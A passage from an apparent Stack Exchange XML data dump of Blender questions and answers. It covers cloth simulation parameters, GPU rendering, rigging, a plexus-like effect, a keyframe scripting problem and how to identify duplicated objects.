object should share&lt;br&gt;&#xA;  a layer with the cloth objects with which it should collide.&lt;/li&gt;&#xA;  &lt;li&gt;Bake Settings : This button switches the mode of the cloth modifier    panel to baking mode, allowing the user to bake the results.&lt;br&gt;&#xA;  Simulation Type : Presently there is only one solver implemented, the &#xA;  Provot solver as described in his paper above. There are however 3&lt;br&gt;&#xA;  forms of integration, Explicit Euler, Middle Point and Runge-Kutta.&lt;/li&gt;&#xA;  &lt;li&gt;Collision Type : This allows the user to specify what type of    collisions to process for the cloth object. Presently only the None&lt;br&gt;&#xA;  and KDOP options are available.&lt;/li&gt;&#xA;  &lt;li&gt;Pinned Vertex Group : If a vertex group is chosen in this menu, those    vertices are not affected by the cloth modifier. They are&#xA;  pinned in    place.&lt;/li&gt;&#xA;  &lt;li&gt;Mass Scale Vertex Group : This vertex group allows the user to    multiply the point mass by the influence/weight a vertice has in the&lt;br&gt;&#xA;  vertex group. Thus parts of the cloth can have different weights&lt;br&gt;&#xA;  making part of it appear wet or heavier for other reasons.&lt;/li&gt;&#xA;  &lt;li&gt;Mass Vertex Group : This vertex group allows the user to directly    specify the weight of the vertices. The Scale parameter is used to&lt;br&gt;&#xA;  adjust the results of this.&lt;/li&gt;&#xA;  &lt;li&gt;Scale : This allows the user to scale the results of applying a Mass    Vertex Group.&lt;/li&gt;&#xA;  &lt;li&gt;Gravity X, Y and Z : These provide an external force to the cloth.&lt;/li&gt;&#xA;  &lt;li&gt;Spring Stiffness : These three parameters control the Structural,    Shear and Flexion spring stiffness.&lt;/li&gt;&#xA;  &lt;li&gt;Damping Springs : This is the damping factor applied to motion    produced by the springs.&lt;/li&gt;&#xA;  &lt;li&gt;Damping Viscous : This damping factor is applied to all motion of the    cloth, higher values produce results like moving through water&#xA;  or    mud.&lt;/li&gt;&#xA;  &lt;li&gt;Damping Self Fr : This will be used as the damping factor for    friction caused by self collisions of the cloth.&lt;/li&gt;&#xA;  &lt;li&gt;Damping Friction : This damping factor is applied to the cloth    vertices that collide with collisoin objects.&lt;/li&gt;&#xA;  &lt;li&gt;Simulation Steps : This controls how many steps per frame are used in    the simulation. Higher values produce better results in general,&#xA;  but    take longer to compute.&lt;/li&gt;&#xA;  &lt;li&gt;Simulate Adjustments : Adjustments controls whether or not attempts    are made to keep the springs in the cloth from exceeding their&lt;br&gt;&#xA;  original length multipled by Tc. When set to -1, the Structural&lt;br&gt;&#xA;  springs get increasingly stiffer, up to 100 times stiffer, as the&lt;br&gt;&#xA;  springs's length divided by its original length aproaches Tc. At 0&lt;br&gt;&#xA;  (zero), not adjustments are made. At 1 (one) or greater, Provot's&lt;br&gt;&#xA;  algorithm of adjusting the springs is done as many times as specified &#xA;  by this parameter.&lt;/li&gt;&#xA;  &lt;li&gt;Simulation Mass : This specifies the base mass of a vertice in a    cloth object. The final value of the mass for any given vertice can&lt;br&gt;&#xA;  be influenced by the Mass Scale Vertex Group and/or the Maxx Vertex&lt;br&gt;&#xA;  Group.&lt;/li&gt;&#xA;  &lt;li&gt;Simulation MinZ : Provides an artificial floor below which the cloth    vertices will not go.&lt;/li&gt;&#xA;  &lt;li&gt;Simulation Epsilon : This provides a buffer distance for collision    detection and response. In the current implementation, small values&lt;br&gt;&#xA;  in the range of 0.001 to 0.005 generally work best, although in some&lt;br&gt;&#xA;  cases larger values may be desired.&lt;/li&gt;&#xA;  &lt;li&gt;Simulatin Tc : This specifies the critical deformation length as a    ratio to the original spring length. This value has no effect if&lt;br&gt;&#xA;  Adjustments are 0 (zero).&lt;/li&gt;&#xA;  &lt;li&gt;Simulation Spr Len : This allows the user to specify an artificially    large or small base spring length. When this value is&#xA;  1.0, the    simulation behaves normally. With values less than 1 (one), the    springs are treated as if they were shorter than they&#xA;  actually are    which can be useful to shrink clothing to fit tighter&#xA;  on a model ...    think spandex. If this value is greater than 1&#xA;  (one), it provides an    artificial force to expand the cloth object&#xA;  which can be useful to    give bounce to a skirt or dress.&lt;/li&gt;&#xA;  &lt;li&gt;Simulation Pre-roll : This provides some artificial frames prior to    the start of the animation to allow the cloth to find its resting&lt;br&gt;&#xA;  position.&lt;/li&gt;&#xA;  &lt;li&gt;Simulation Col Loop : This is the maximum number of times per step    collisions will be tested. This parameter is likely to go away.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Daniel Genrich simplified the controls by May 2008:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;StructStiff: Structural Stiffness also includes shear stiffness. Both    define the stiffness of the structure of the cloth. Lower&#xA;  values will    make the cloth look like elastic rubber.&lt;/li&gt;&#xA;  &lt;li&gt;BendStiff: Bending Stiffness describes how the cloth forms its    wrinkles. Higher values result in bigger but not necessarily more&lt;br&gt;&#xA;  wrinkles.&lt;/li&gt;&#xA;  &lt;li&gt;Spring Damp: Specifies how much the amount of movement will be    lowered. This can prevent unwanted jiggling, and can result also in&lt;br&gt;&#xA;  smoother animation.&lt;/li&gt;&#xA;  &lt;li&gt;Air Damp: How thick is the air? How much movement will it stop due to    its thickness? Practically speaking, you receive slower movement&#xA;  of    cloth with higher air damping. With air damping set to zero, you&#xA;  have    moon surface conditions.&lt;/li&gt;&#xA;  &lt;li&gt;Quality: More quality gives more stable cloth (less jiggling with    high BendStiff) and additionally you receive better collision&lt;br&gt;&#xA;  responses.&lt;/li&gt;&#xA;  &lt;li&gt;Mass: More mass gives heavier cloth, with slightly more weight on the    border like normal cloth.&lt;/li&gt;&#xA;  &lt;li&gt;Gravity: X, Y and Z direction of the gravity you want to have working    on the cloth.&lt;/li&gt;&#xA;  &lt;li&gt;Min Distance: Defines the cloth thickness where the collision    response kicks in. It helps to keep a minimum distance between the&lt;br&gt;&#xA;  Cloth and the colliding mesh. Just increase it if you encounter&lt;br&gt;&#xA;  collision penetrations (This is only &lt;em&gt;one&lt;/em&gt; of two available options&lt;br&gt;&#xA;  to resolve that issue - you could also increase the Quality on the&lt;br&gt;&#xA;  first Cloth panel).&lt;/li&gt;&#xA;  &lt;li&gt;Friction: Friction defines how good a cloth can slide over a    collision object. See this for how friction effects the cloth&lt;br&gt;&#xA;  collisions.&lt;/li&gt;&#xA;  &lt;li&gt;Min Distance: Defines the cloth thickness where the selfcollision    response kicks in. It helps to keep a minimum distance between the&lt;br&gt;&#xA;  Cloth.&lt;/li&gt;&#xA;  &lt;li&gt;Selfcoll Quality: This values helps you to resolve several layers of    selfcollisions. Be carefull: the Collision Quality has to be at&#xA;  least    as high as Selfcoll Quality to have it working!&lt;/li&gt;&#xA;  &lt;li&gt;StructStiff VGroup: Vertex Group to be used for Structural Stiffness    scaling.&lt;/li&gt;&#xA;  &lt;li&gt;BendStiff VGroup: Vertex Group to be used for Bending Stiffness    scaling.&lt;/li&gt;&#xA;  &lt;li&gt;StructStiff Max: Defines the Structural Stiffness maximum. The    structural stiffness gets scaled between this maximum (the red&lt;br&gt;&#xA;  painted values on the vertex group) and the minimum StructStiff on&lt;br&gt;&#xA;  the first Cloth panel (blue painted vertices on the vertex group). A&lt;br&gt;&#xA;  linear interpolation function is used inbetween.&lt;/li&gt;&#xA;  &lt;li&gt;BendStiff Max: Defines the Bending Stiffness maximum. The bending    stiffness gets scaled between this maximum (the red painted values on &#xA;  the vertex group) and the minimum BendStiff on the first Cloth panel&lt;br&gt;&#xA;  (blue painted vertices on the vertex group). A linear interpolation&lt;br&gt;&#xA;  function is used inbetween.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As of today (April 2015), the controls for Blender have three damping forces (Spring, Velocity, Air). Provot's model explains these three damping forces as follows (respectively: Internal, Gravity, Viscous-Damping/Air):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The internal force is the resultant of the tensions of the springs&#xA;  linking P_ij to its neighbors. The external force is of various nature&#xA;  according to the kind of load to which we wish the model to be&#xA;  exposed. Omnipresent loads will be gravity, a viscous damping, and a&#xA;  viscous interaction with an air stream or wind. Let g be the&#xA;  acceleration of gravity, the weight of P_ij is given by F_g=&lt;em&gt;m&lt;/em&gt;g. The&#xA;  viscous damping will be given by F_d=-&lt;em&gt;C_d&lt;/em&gt;v where C_d is a damping&#xA;  coefficient and v is the velocity of point P_ij. The role of this&#xA;  damping is in fact to model in first approximation the dissipation of&#xA;  the mechanical energy of our model. It is introduced as an external&#xA;  force but could actually be considered as an internal force as well.&#xA;  Finally, a viscous fluid moving at a uniform velocity u exerts on the&#xA;  surface of a body moving at a velocity v a force F_v = &lt;em&gt;C_v&lt;/em&gt;((n dot&#xA;  (u-v))n where n is the unit normal on the surface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The controls today (April 2015) are very similar to the controls in May 2008. The full set of updated parameters can be found in the the current Blender Manual: &#xA;&lt;a href=&quot;http://www.blender.org/manual/physics/cloth.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/manual/physics/cloth.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13911" LastEditorUserId="-1" LastEditDate="2017-02-14T17:51:51.383" LastActivityDate="2017-02-14T17:51:51.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28787" PostTypeId="1" CreationDate="2015-04-22T04:07:28.713" Score="4" ViewCount="2916" Body="&lt;p&gt;For some reason Blender does not use my GPU when rendering, even though I have my card selected in the user preferences &lt;img src=&quot;https://i.stack.imgur.com/IDmhs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render, my CPU usage goes up to 100% and MSI Afterburner shows no increase of GPU usage. It also doesn't show an option to change my compute device in the system area or whatever &lt;img src=&quot;https://i.stack.imgur.com/6W18S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I switch to Cycles Render, it gives me the option to use my GPU, but not when I am in normal Blender Render. Is there a way to fix this or is it set like this for some reason? &lt;img src=&quot;https://i.stack.imgur.com/Wnfbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13366" LastEditorDisplayName="user1853" LastEditDate="2015-04-22T18:20:30.913" LastActivityDate="2015-04-22T18:20:30.913" Title="Graphics Card Not Avalible in Blender Internal" Tags="&lt;blender-internal-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28788" PostTypeId="1" AcceptedAnswerId="28868" CreationDate="2015-04-22T04:07:38.790" Score="4" ViewCount="174" Body="&lt;p&gt;Here is the File &lt;a href=&quot;http://www.pasteall.org/blend/35751&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35751&lt;/a&gt;&#xA;My question is about rigging , Long story short, I'm new to blender and i finished my latest model and began to rigging it (First time doing so) Followed the tutorial to the letter and when I flip the armature (Left side of it) the elbows off,&lt;img src=&quot;https://i.stack.imgur.com/Zr0kS.jpg&quot; alt=&quot;enter image description here&quot;&gt; no problems with the leg, so I fix it,&lt;img src=&quot;https://i.stack.imgur.com/U48bV.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/eglwR.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/Ru6mU.jpg&quot; alt=&quot;Edit Mode&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUptn.jpg&quot; alt=&quot;Pose Mode&quot;&gt;but when I sent automatic weights the whole arm and shoulder part are F'ed up, No idea why. &lt;img src=&quot;https://i.stack.imgur.com/Hz9xr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GoL6H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Can anyone help?  Here is the File &lt;a href=&quot;http://www.pasteall.org/blend/35751&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35751&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have an alienware computer and not a particularly cheap one, And I've never really had lagg issues in blender up until I connected the facial features to the face, now whenever I click on anything it take a good 10 seconds to register, Is this just me making models with bad topology or is there a way to maximize processing speed after the models done and you want to do things with it.&lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="13912" LastEditDate="2015-04-23T19:40:42.043" LastActivityDate="2015-04-23T20:05:37.643" Title="Riggin my character deformes him" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28789" PostTypeId="1" CreationDate="2015-04-22T04:26:54.593" Score="17" ViewCount="3100" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dr6am.jpg&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://davidzerba.wordpress.com/2012/12/03/boredom/boredom-close-up/#main&quot; rel=&quot;noreferrer&quot;&gt;Image Credit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to create the outer nodes effect in Blender Cycles, including the lines? I know this is achieved using a particle system, but don't know how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can anybody suggest any plugins for blender that does the same?&lt;/p&gt;&#xA;" OwnerUserId="13910" LastEditorUserId="2217" LastEditDate="2015-04-22T04:34:53.833" LastActivityDate="2015-11-26T12:40:39.490" Title="Create Plexus plugin-like effect" Tags="&lt;cycles-render-engine&gt;&lt;objects&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28790" PostTypeId="2" ParentId="28789" CreationDate="2015-04-22T04:48:35.473" Score="20" Body="&lt;p&gt;If you're not married to the particle system idea, you could model this with a a few meshes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;dupliverts with a sphere child&lt;/li&gt;&#xA;&lt;li&gt;wireframe modifier&lt;/li&gt;&#xA;&lt;li&gt;scaled down solid&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;1) Make the mesh (I did this with an icosphere and some proportional editing):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nqurw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make the duplicates now with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a sphere (I did a low-poly icosphere with a subsurf modifier and smooth shading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make your main mesh a parent of the new sphere (select the sphere, then shift+select the main mesh, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; parent to object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the main object to duplivert:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OCYak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CM4vL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) On one of your duplicates, add a wireframe modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2FAuO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) For your final duplicate, simply scale it down a bit to fit inside the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MO40f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DpQsb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="3710" LastEditDate="2015-04-22T06:55:31.397" LastActivityDate="2015-04-22T06:55:31.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28791" PostTypeId="1" CreationDate="2015-04-22T06:22:19.897" Score="3" ViewCount="387" Body="&lt;p&gt;I've written a small script as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Requirements&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Manual Part&lt;/em&gt;:&#xA;I manually select a specific Action in Dopesheet -&gt; Action Editor. (Note that these actions will have only two keyframes, at 1 and at 50, with identical poses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this I manually select specific bones to which the script below should apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Script Part&lt;/em&gt;:&#xA;Then run the script to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Loop through all keyframes and add small random rotations to all the&#xA;bones I've selected in the manual part.&lt;/li&gt;&#xA;&lt;li&gt;Insert new keyframes which contain these random rotations&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Actual Script&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;import math&#xA;&#xA;# User Settings&#xA;keyframe_insert_interval = 5&#xA;rand_rotation_deg_max = 0.25&#xA;&#xA;# Get scene stuff&#xA;c = bpy.context&#xA;s = c.scene&#xA;&#xA;# Get frames start and end&#xA;frame_start = s.frame_start&#xA;frame_end = s.frame_end&#xA;bones_to_rotate = c.selected_pose_bones&#xA;&#xA;for i in range(frame_start + keyframe_insert_interval, frame_end, keyframe_insert_interval):&#xA;s.frame_current = i&#xA;&#xA;    # Iterate through all bones&#xA;    for j in range(0, len(bones_to_rotate)):&#xA;        # Current Bone&#xA;        bone_curr = bones_to_rotate[j]&#xA;&#xA;        # Set rotation mode&#xA;        bone_curr.rotation_mode = 'XYZ'&#xA;&#xA;        # Get next random rotation add&#xA;        new_rand_x = random.uniform(-1.0 * rand_rotation_deg_max, rand_rotation_deg_max)&#xA;        new_rand_y = random.uniform(-1.0 * rand_rotation_deg_max, rand_rotation_deg_max)&#xA;        new_rand_z = random.uniform(-1.0 * rand_rotation_deg_max, rand_rotation_deg_max)&#xA;&#xA;        # Placeholder - might want to add some other randomness ,so creating vars&#xA;        new_x = new_rand_x&#xA;        new_y = new_rand_y&#xA;        new_z = new_rand_z&#xA;&#xA;        # Rotate   &#xA;        bone_curr.rotation_euler.rotate_axis('X', math.radians(new_x))&#xA;        bone_curr.rotation_euler.rotate_axis('Y', math.radians(new_y))&#xA;        bone_curr.rotation_euler.rotate_axis('Z', math.radians(new_z))&#xA;&#xA;        # Tried all of these, none seem to work correctly           &#xA;        #bpy.data.actions[6].keyframe_insert(data_path=&quot;rotation_euler&quot;,frame=i)&#xA;        bone_curr.keyframe_insert(data_path=&quot;rotation_euler&quot;,frame=i)&#xA;        #bpy.ops.anim.keyframe_insert(type='LocRotScale')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script works perfectly on the currently selected Action, but it messes up all the other actions. For some reason it applies the random rotations to all the other (unselected) Actions as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm doing something systematically wrong, but cannot figure out what it is, and some help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much,&#xA;staticvoidlol&lt;/p&gt;&#xA;" OwnerUserId="13914" LastEditorUserId="5113" LastEditDate="2015-04-22T09:38:38.183" LastActivityDate="2015-04-22T09:38:38.183" Title="Insert Animation Keyframe works, but messes up all other Actions" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28792" PostTypeId="2" ParentId="28789" CreationDate="2015-04-22T07:46:05.057" Score="21" Body="&lt;p&gt;I would use &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sverchok&lt;/a&gt; (A Blender node system for Geometry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the image to view full size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cfYYn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfYYn.png&quot; alt=&quot;Sverchok nodes and generated geometry&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it works is you feed Sverchok a base mesh, in this case the blue Icosphere with some distorted noise displacement. This mesh is used to generate a second set of vertices positioned some distance away in the direction of the vertex normal. The vertex normal is defined by the average face normal of all faces which are connected to a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This new set of vertices has the same vertex index order, this means we can reuse the edge list (list of vertex indices which makes up each edge) and create tubing from the resulting edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new set of vertices is also used to place duplicated instances of the node sphere (in this case a NURBS SurfaceSphere)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alpha_0 : This mesh is outputted by the BMeshViewDraw node. Because it's only outputting one mesh the name has &lt;code&gt;_0&lt;/code&gt; appended. This node outputs the new (offset) vertices. &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the properties of Alpha_0 switch on duplication to Vertex. &lt;/li&gt;&#xA;&lt;li&gt;(I dragged the duplication menu-item to the top for convenience)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0NJuY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sigma_0 : The tubes, Curve Objects, generated by SvCurveViewer Sigma. These tubes are built from new vertices and old edge list. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/4IFys.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SurfSphere: In properties set the parent to Alpha_0, this will then duplicate the SurfSphere at every vertex of Alpha_0's mesh.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oy9mq.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll notice as soon as you parent an object, that the child becomes part of the parent item. The outliner shows it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gYqGp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wT1VI.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/195/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=195&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros and Cons:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Pro:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Learn Sverchok, it can be applied to many scenarios involving geometry&lt;/li&gt;&#xA;&lt;li&gt;Sverchok is 150+ nodes which can be combined to give a massive amount of modulation in your end result&lt;/li&gt;&#xA;&lt;li&gt;I co-write Sverchok, if you have questions about how it works visit the &lt;a href=&quot;https://github.com/nortikin/sverchok/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue tracker&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Con:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have to install and enable Sverchok, it does not come with Blender&lt;/li&gt;&#xA;&lt;li&gt;At first it might seem confusing, but it works very similar to any other node system. Nodes take input and perform some operation and produce output. Each node does something different, generally the name of the node is sufficient to indicate what it does.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-22T14:11:54.587" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28793" PostTypeId="1" AcceptedAnswerId="28794" CreationDate="2015-04-22T07:54:20.610" Score="5" ViewCount="1688" Body="&lt;p&gt;Say I duplicate &lt;em&gt;(not linked duplicate)&lt;/em&gt; the default Cube, &lt;code&gt;&quot;Cube&quot;&lt;/code&gt;, &lt;code&gt;N&lt;/code&gt; times and name the duplicates &lt;code&gt;&quot;Cube.001&quot;&lt;/code&gt; to &lt;code&gt;&quot;Cube.NNN&quot;&lt;/code&gt;. How can I tell, aside from the name, that &lt;code&gt;&quot;Cube.NNN&quot;&lt;/code&gt; is a duplicate of &lt;code&gt;&quot;Cube&quot;&lt;/code&gt;? Is it possible to determine the object, that &lt;code&gt;&quot;Cube.NNN&quot;&lt;/code&gt; was duplicated from? I need this for my export program to avoid exporting the geometry of duplicates.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="55" LastEditDate="2016-03-11T11:10:41.627" LastActivityDate="2016-03-11T11:18:38.757" Title="How to tell whether Object is a duplicate?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28794" PostTypeId="2" ParentId="28793" CreationDate="2015-04-22T08:18:21.457" Score="4" Body="&lt;p&gt;This can only be done &lt;em&gt;reliably&lt;/em&gt; by comparing all the mesh data (every vertex, weight, normal, UV ...etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The automatic name given to newly duplicated objects is always the original name plus some postfix (.001, .002 etc). As soon as you manually rename the duplicates then that 'thin' link to their past also goes. When you duplicate using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; you also duplicate the Mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can Duplicate linked (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;), which creates a new object, but references the mesh of the original object. Duplicate linked does let you see where it came from. &lt;code&gt;object.data.name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRt9i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I don't think you'll find any quick solution, for future projects you might consider a naming convention for your duplicated objects so that they do include the name of the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you named your duplicates with the convention &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cube -&amp;gt; Cube0, Cube1, Cube2, Cube3, Cube4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then sure, then you do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['Cube0']&#xA;original = obj.name[:4]&#xA;mesh_to_export = bpy.data.meshes[original]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally not all objects will be duplicated from a Cube, you could use regex pattern matching if the naming convention is consistent. Some people don't like regex, but whatever. I'm assuming you know how to write a regex if you are writing an exporter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even a loop to test if the obj.name starts with any of the following ['Cube', 'Plane'] etc.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="55" LastEditDate="2016-03-11T11:18:38.757" LastActivityDate="2016-03-11T11:18:38.757" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="28796" PostTypeId="2" ParentId="28690" CreationDate="2015-04-22T09:08:46.990" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;https://itunes.apple.com/us/app/sensorlog/id388014573?mt=8&quot; rel=&quot;nofollow&quot;&gt;SensorLog&lt;/a&gt; app for your mobile device (free) and record some motion. Data can be send from device via mail or you can connect to local network. Output format is CSV.&lt;/li&gt;&#xA;&lt;li&gt;Download add-on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?209181-A-Script-to-Import-a-CSV-File-and-Create-F-Curves-(for-Blender-2-5x-or-later)&quot; rel=&quot;nofollow&quot;&gt;csv_fcurve_importer&lt;/a&gt; to import csv data.&#xA;Addon appear in Scene properties window.&#xA;(Works for blender 2.74)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks to zeffii's comment about OSC vs. CSV formats.&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2015-04-23T09:17:29.717" LastActivityDate="2015-04-23T09:17:29.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
